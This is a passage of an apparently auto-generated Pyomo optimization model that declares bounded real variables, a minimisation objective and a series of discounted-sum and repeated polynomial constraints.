m.x2000 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2001 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2002 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2003 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2004 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2005 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2006 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2007 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2008 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2009 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2010 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2011 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2012 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2013 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2014 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2015 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2016 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2017 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2018 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2019 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2020 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2021 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2022 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2023 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2024 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2025 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2026 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2027 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2028 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2029 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2030 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2031 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2032 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2033 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2034 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2035 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2036 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2037 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2038 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2039 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2040 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2041 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2042 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2043 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2044 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2045 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2046 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2047 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2048 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2049 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2050 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2051 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2052 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2053 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2054 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2055 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2056 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2057 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2058 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2059 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2060 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2061 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2062 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2063 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2064 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2065 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2066 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2067 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2068 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2069 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2070 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2071 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2072 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2073 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2074 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2075 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2076 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2077 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2078 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2079 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2080 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2081 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2082 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2083 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2084 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2085 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2086 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2087 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2088 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2089 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2090 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2091 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2092 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2093 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2094 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2095 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2096 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2097 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2098 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2099 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2100 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2101 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2102 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2103 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2104 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2105 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2106 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2107 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2108 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2109 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2110 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2111 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2112 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2113 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2114 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2115 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2116 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2117 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2118 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2119 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2120 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2121 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2122 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2123 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2124 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2125 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2126 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2127 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2128 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2129 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2130 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2131 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2132 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2133 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2134 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2135 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2136 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2137 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2138 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2139 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2140 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2141 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2142 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2143 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2144 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2145 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2146 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2147 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2148 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2149 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2150 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2151 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2152 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2153 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2154 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2155 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2156 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2157 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2158 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2159 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2160 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2161 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2162 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2163 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2164 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2165 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2166 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2167 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2168 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2169 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2170 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2171 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2172 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2173 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2174 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2175 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2176 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2177 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2178 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2179 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2180 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2181 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2182 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2183 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2184 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2185 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2186 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2187 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2188 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2189 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2190 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2191 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2192 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2193 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2194 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2195 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2196 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2197 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2198 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2199 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2200 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2201 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2202 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2203 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2204 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2205 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2206 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2207 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2208 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2209 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2210 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2211 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2212 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2213 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2214 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2215 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2216 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2217 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2218 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2219 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2220 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2221 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2222 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2223 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2224 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2225 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2226 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2227 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2228 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2229 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2230 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2231 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2232 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2233 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2234 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2235 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2236 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2237 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2238 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2239 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2240 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2241 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2242 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2243 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2244 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2245 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2246 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2247 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2248 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2249 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2250 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2251 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2252 = Var(within=Reals,bounds=(0,1375),initialize=17)
m.x2253 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2254 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2255 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2256 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2257 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2258 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2259 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2260 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2261 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2262 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2263 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2264 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2265 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2266 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2267 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2268 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2269 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2270 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2271 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2272 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2273 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2274 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2275 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2276 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2277 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2278 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2279 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2280 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2281 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2282 = Var(within=Reals,bounds=(0,None),initialize=500000)
m.x2283 = Var(within=Reals,bounds=(None,None),initialize=0)
m.obj = Objective(expr=m.x2283, sense=minimize)
m.c1 = Constraint(expr= m.x1561 + 0.925925925925926*m.x1562 + 0.857338820301783*m.x1563 + 0.793832241020169*m.x1564
+ 0.735029852796453*m.x1565 + 0.680583197033753*m.x1566 + 0.630169626883105*m.x1567
+ 0.583490395262134*m.x1568 + 0.540268884501976*m.x1569 + 0.500248967131459*m.x1570
+ 0.463193488084684*m.x1571 + 0.428882859337671*m.x1572 + 0.397113758645991*m.x1573
+ 0.367697924672214*m.x1574 + 0.340461041363161*m.x1575 + 0.31524170496589*m.x1576
+ 0.291890467561009*m.x1577 + 0.270268951445379*m.x1578 + 0.250249029116091*m.x1579
+ 0.231712063996381*m.x1580 + 0.214548207404056*m.x1581 + 0.198655747596349*m.x1582
+ 0.183940507033656*m.x1583 + 0.170315284290422*m.x1584 + 0.157699337305947*m.x1585
+ 0.146017904912913*m.x1586 + 0.135201763808253*m.x1587 + 0.125186818340975*m.x1588
+ 0.115913720686088*m.x1589 + 0.107327519153785*m.x1590 + m.x1591 - m.x1772
- 0.925925925925926*m.x1773 - 0.857338820301783*m.x1774 - 0.793832241020169*m.x1775
- 0.735029852796453*m.x1776 - 0.680583197033753*m.x1777 - 0.630169626883105*m.x1778
- 0.583490395262134*m.x1779 - 0.540268884501976*m.x1780 - 0.500248967131459*m.x1781
- 0.463193488084684*m.x1782 - 0.428882859337671*m.x1783 - 0.397113758645991*m.x1784
- 0.367697924672214*m.x1785 - 0.340461041363161*m.x1786 - 0.31524170496589*m.x1787
- 0.291890467561009*m.x1788 - 0.270268951445379*m.x1789 - 0.250249029116091*m.x1790
- 0.231712063996381*m.x1791 - 0.214548207404056*m.x1792 - 0.198655747596349*m.x1793
- 0.183940507033656*m.x1794 - 0.170315284290422*m.x1795 - 0.157699337305947*m.x1796
- 0.146017904912913*m.x1797 - 0.135201763808253*m.x1798 - 0.125186818340975*m.x1799
- 0.115913720686088*m.x1800 - 0.107327519153785*m.x1801 - m.x1862 - m.x2283 <= 0)
m.c2 = Constraint(expr=-(0.0775*m.x1893*(1 - 0.000727272727272727*m.x1893) + 0.003003125*m.x1893*(1 -
0.000727272727272727*m.x1893)*(1 - 0.00145454545454545*m.x1893) + 6.0669191919192e-8*(1189.2375*
m.x1893*(1 - 0.000727272727272727*m.x1893)*(1 - 0.00145454545454545*m.x1893) - 1.86*(0.93*m.x1893
*(1 - 0.000727272727272727*m.x1893))**2 - 1.49610402*m.x1893*m.x1893*(1 - 0.000727272727272727*
m.x1893)*(1 - 0.00145454545454545*m.x1893)*(1 - 0.00145454545454545*m.x1893))) + m.x1 == 0)
m.c3 = Constraint(expr=-(0.0775*m.x1894*(1 - 0.000727272727272727*m.x1894) + 0.003003125*m.x1894*(1 -
0.000727272727272727*m.x1894)*(1 - 0.00145454545454545*m.x1894) + 6.0669191919192e-8*(1189.2375*
m.x1894*(1 - 0.000727272727272727*m.x1894)*(1 - 0.00145454545454545*m.x1894) - 1.86*(0.93*m.x1894
*(1 - 0.000727272727272727*m.x1894))**2 - 1.49610402*m.x1894*m.x1894*(1 - 0.000727272727272727*
m.x1894)*(1 - 0.00145454545454545*m.x1894)*(1 - 0.00145454545454545*m.x1894))) + m.x2 == 0)
m.c4 = Constraint(expr=-(0.0775*m.x1895*(1 - 0.000727272727272727*m.x1895) + 0.003003125*m.x1895*(1 -
0.000727272727272727*m.x1895)*(1 - 0.00145454545454545*m.x1895) + 6.0669191919192e-8*(1189.2375*
m.x1895*(1 - 0.000727272727272727*m.x1895)*(1 - 0.00145454545454545*m.x1895) - 1.86*(0.93*m.x1895
*(1 - 0.000727272727272727*m.x1895))**2 - 1.49610402*m.x1895*m.x1895*(1 - 0.000727272727272727*
m.x1895)*(1 - 0.00145454545454545*m.x1895)*(1 - 0.00145454545454545*m.x1895))) + m.x3 == 0)
m.c5 = Constraint(expr=-(0.0775*m.x1896*(1 - 0.000727272727272727*m.x1896) + 0.003003125*m.x1896*(1 -
0.000727272727272727*m.x1896)*(1 - 0.00145454545454545*m.x1896) + 6.0669191919192e-8*(1189.2375*
m.x1896*(1 - 0.000727272727272727*m.x1896)*(1 - 0.00145454545454545*m.x1896) - 1.86*(0.93*m.x1896
*(1 - 0.000727272727272727*m.x1896))**2 - 1.49610402*m.x1896*m.x1896*(1 - 0.000727272727272727*
m.x1896)*(1 - 0.00145454545454545*m.x1896)*(1 - 0.00145454545454545*m.x1896))) + m.x4 == 0)
m.c6 = Constraint(expr=-(0.0775*m.x1897*(1 - 0.000727272727272727*m.x1897) + 0.003003125*m.x1897*(1 -
0.000727272727272727*m.x1897)*(1 - 0.00145454545454545*m.x1897) + 6.0669191919192e-8*(1189.2375*
m.x1897*(1 - 0.000727272727272727*m.x1897)*(1 - 0.00145454545454545*m.x1897) - 1.86*(0.93*m.x1897
*(1 - 0.000727272727272727*m.x1897))**2 - 1.49610402*m.x1897*m.x1897*(1 - 0.000727272727272727*
m.x1897)*(1 - 0.00145454545454545*m.x1897)*(1 - 0.00145454545454545*m.x1897))) + m.x5 == 0)
m.c7 = Constraint(expr=-(0.0775*m.x1898*(1 - 0.000727272727272727*m.x1898) + 0.003003125*m.x1898*(1 -
0.000727272727272727*m.x1898)*(1 - 0.00145454545454545*m.x1898) + 6.0669191919192e-8*(1189.2375*
m.x1898*(1 - 0.000727272727272727*m.x1898)*(1 - 0.00145454545454545*m.x1898) - 1.86*(0.93*m.x1898
*(1 - 0.000727272727272727*m.x1898))**2 - 1.49610402*m.x1898*m.x1898*(1 - 0.000727272727272727*
m.x1898)*(1 - 0.00145454545454545*m.x1898)*(1 - 0.00145454545454545*m.x1898))) + m.x6 == 0)
m.c8 = Constraint(expr=-(0.0775*m.x1899*(1 - 0.000727272727272727*m.x1899) + 0.003003125*m.x1899*(1 -
0.000727272727272727*m.x1899)*(1 - 0.00145454545454545*m.x1899) + 6.0669191919192e-8*(1189.2375*
m.x1899*(1 - 0.000727272727272727*m.x1899)*(1 - 0.00145454545454545*m.x1899) - 1.86*(0.93*m.x1899
*(1 - 0.000727272727272727*m.x1899))**2 - 1.49610402*m.x1899*m.x1899*(1 - 0.000727272727272727*
m.x1899)*(1 - 0.00145454545454545*m.x1899)*(1 - 0.00145454545454545*m.x1899))) + m.x7 == 0)
m.c9 = Constraint(expr=-(0.0775*m.x1900*(1 - 0.000727272727272727*m.x1900) + 0.003003125*m.x1900*(1 -
0.000727272727272727*m.x1900)*(1 - 0.00145454545454545*m.x1900) + 6.0669191919192e-8*(1189.2375*
m.x1900*(1 - 0.000727272727272727*m.x1900)*(1 - 0.00145454545454545*m.x1900) - 1.86*(0.93*m.x1900
*(1 - 0.000727272727272727*m.x1900))**2 - 1.49610402*m.x1900*m.x1900*(1 - 0.000727272727272727*
m.x1900)*(1 - 0.00145454545454545*m.x1900)*(1 - 0.00145454545454545*m.x1900))) + m.x8 == 0)
m.c10 = Constraint(expr=-(0.0775*m.x1901*(1 - 0.000727272727272727*m.x1901) + 0.003003125*m.x1901*(1 -
0.000727272727272727*m.x1901)*(1 - 0.00145454545454545*m.x1901) + 6.0669191919192e-8*(1189.2375*
m.x1901*(1 - 0.000727272727272727*m.x1901)*(1 - 0.00145454545454545*m.x1901) - 1.86*(0.93*
m.x1901*(1 - 0.000727272727272727*m.x1901))**2 - 1.49610402*m.x1901*m.x1901*(1 -
0.000727272727272727*m.x1901)*(1 - 0.00145454545454545*m.x1901)*(1 - 0.00145454545454545*m.x1901
))) + m.x9 == 0)
m.c11 = Constraint(expr=-(0.0775*m.x1902*(1 - 0.000727272727272727*m.x1902) + 0.003003125*m.x1902*(1 -
0.000727272727272727*m.x1902)*(1 - 0.00145454545454545*m.x1902) + 6.0669191919192e-8*(1189.2375*
m.x1902*(1 - 0.000727272727272727*m.x1902)*(1 - 0.00145454545454545*m.x1902) - 1.86*(0.93*
m.x1902*(1 - 0.000727272727272727*m.x1902))**2 - 1.49610402*m.x1902*m.x1902*(1 -
0.000727272727272727*m.x1902)*(1 - 0.00145454545454545*m.x1902)*(1 - 0.00145454545454545*m.x1902
))) + m.x10 == 0)
m.c12 = Constraint(expr=-(0.0775*m.x1903*(1 - 0.000727272727272727*m.x1903) + 0.003003125*m.x1903*(1 -
0.000727272727272727*m.x1903)*(1 - 0.00145454545454545*m.x1903) + 6.0669191919192e-8*(1189.2375*
m.x1903*(1 - 0.000727272727272727*m.x1903)*(1 - 0.00145454545454545*m.x1903) - 1.86*(0.93*
m.x1903*(1 - 0.000727272727272727*m.x1903))**2 - 1.49610402*m.x1903*m.x1903*(1 -
0.000727272727272727*m.x1903)*(1 - 0.00145454545454545*m.x1903)*(1 - 0.00145454545454545*m.x1903
))) + m.x11 == 0)
m.c13 = Constraint(expr=-(0.0775*m.x1904*(1 - 0.000727272727272727*m.x1904) + 0.003003125*m.x1904*(1 -
0.000727272727272727*m.x1904)*(1 - 0.00145454545454545*m.x1904) + 6.0669191919192e-8*(1189.2375*
m.x1904*(1 - 0.000727272727272727*m.x1904)*(1 - 0.00145454545454545*m.x1904) - 1.86*(0.93*
m.x1904*(1 - 0.000727272727272727*m.x1904))**2 - 1.49610402*m.x1904*m.x1904*(1 -
0.000727272727272727*m.x1904)*(1 - 0.00145454545454545*m.x1904)*(1 - 0.00145454545454545*m.x1904
))) + m.x12 == 0)
m.c14 = Constraint(expr=-(0.0775*m.x1905*(1 - 0.000727272727272727*m.x1905) + 0.003003125*m.x1905*(1 -
0.000727272727272727*m.x1905)*(1 - 0.00145454545454545*m.x1905) + 6.0669191919192e-8*(1189.2375*
m.x1905*(1 - 0.000727272727272727*m.x1905)*(1 - 0.00145454545454545*m.x1905) - 1.86*(0.93*
m.x1905*(1 - 0.000727272727272727*m.x1905))**2 - 1.49610402*m.x1905*m.x1905*(1 -
0.000727272727272727*m.x1905)*(1 - 0.00145454545454545*m.x1905)*(1 - 0.00145454545454545*m.x1905
))) + m.x13 == 0)
m.c15 = Constraint(expr=-(0.0775*m.x1906*(1 - 0.000727272727272727*m.x1906) + 0.003003125*m.x1906*(1 -
0.000727272727272727*m.x1906)*(1 - 0.00145454545454545*m.x1906) + 6.0669191919192e-8*(1189.2375*
m.x1906*(1 - 0.000727272727272727*m.x1906)*(1 - 0.00145454545454545*m.x1906) - 1.86*(0.93*
m.x1906*(1 - 0.000727272727272727*m.x1906))**2 - 1.49610402*m.x1906*m.x1906*(1 -
0.000727272727272727*m.x1906)*(1 - 0.00145454545454545*m.x1906)*(1 - 0.00145454545454545*m.x1906
))) + m.x14 == 0)
m.c16 = Constraint(expr=-(0.0775*m.x1907*(1 - 0.000727272727272727*m.x1907) + 0.003003125*m.x1907*(1 -
0.000727272727272727*m.x1907)*(1 - 0.00145454545454545*m.x1907) + 6.0669191919192e-8*(1189.2375*
m.x1907*(1 - 0.000727272727272727*m.x1907)*(1 - 0.00145454545454545*m.x1907) - 1.86*(0.93*
m.x1907*(1 - 0.000727272727272727*m.x1907))**2 - 1.49610402*m.x1907*m.x1907*(1 -
0.000727272727272727*m.x1907)*(1 - 0.00145454545454545*m.x1907)*(1 - 0.00145454545454545*m.x1907
))) + m.x15 == 0)
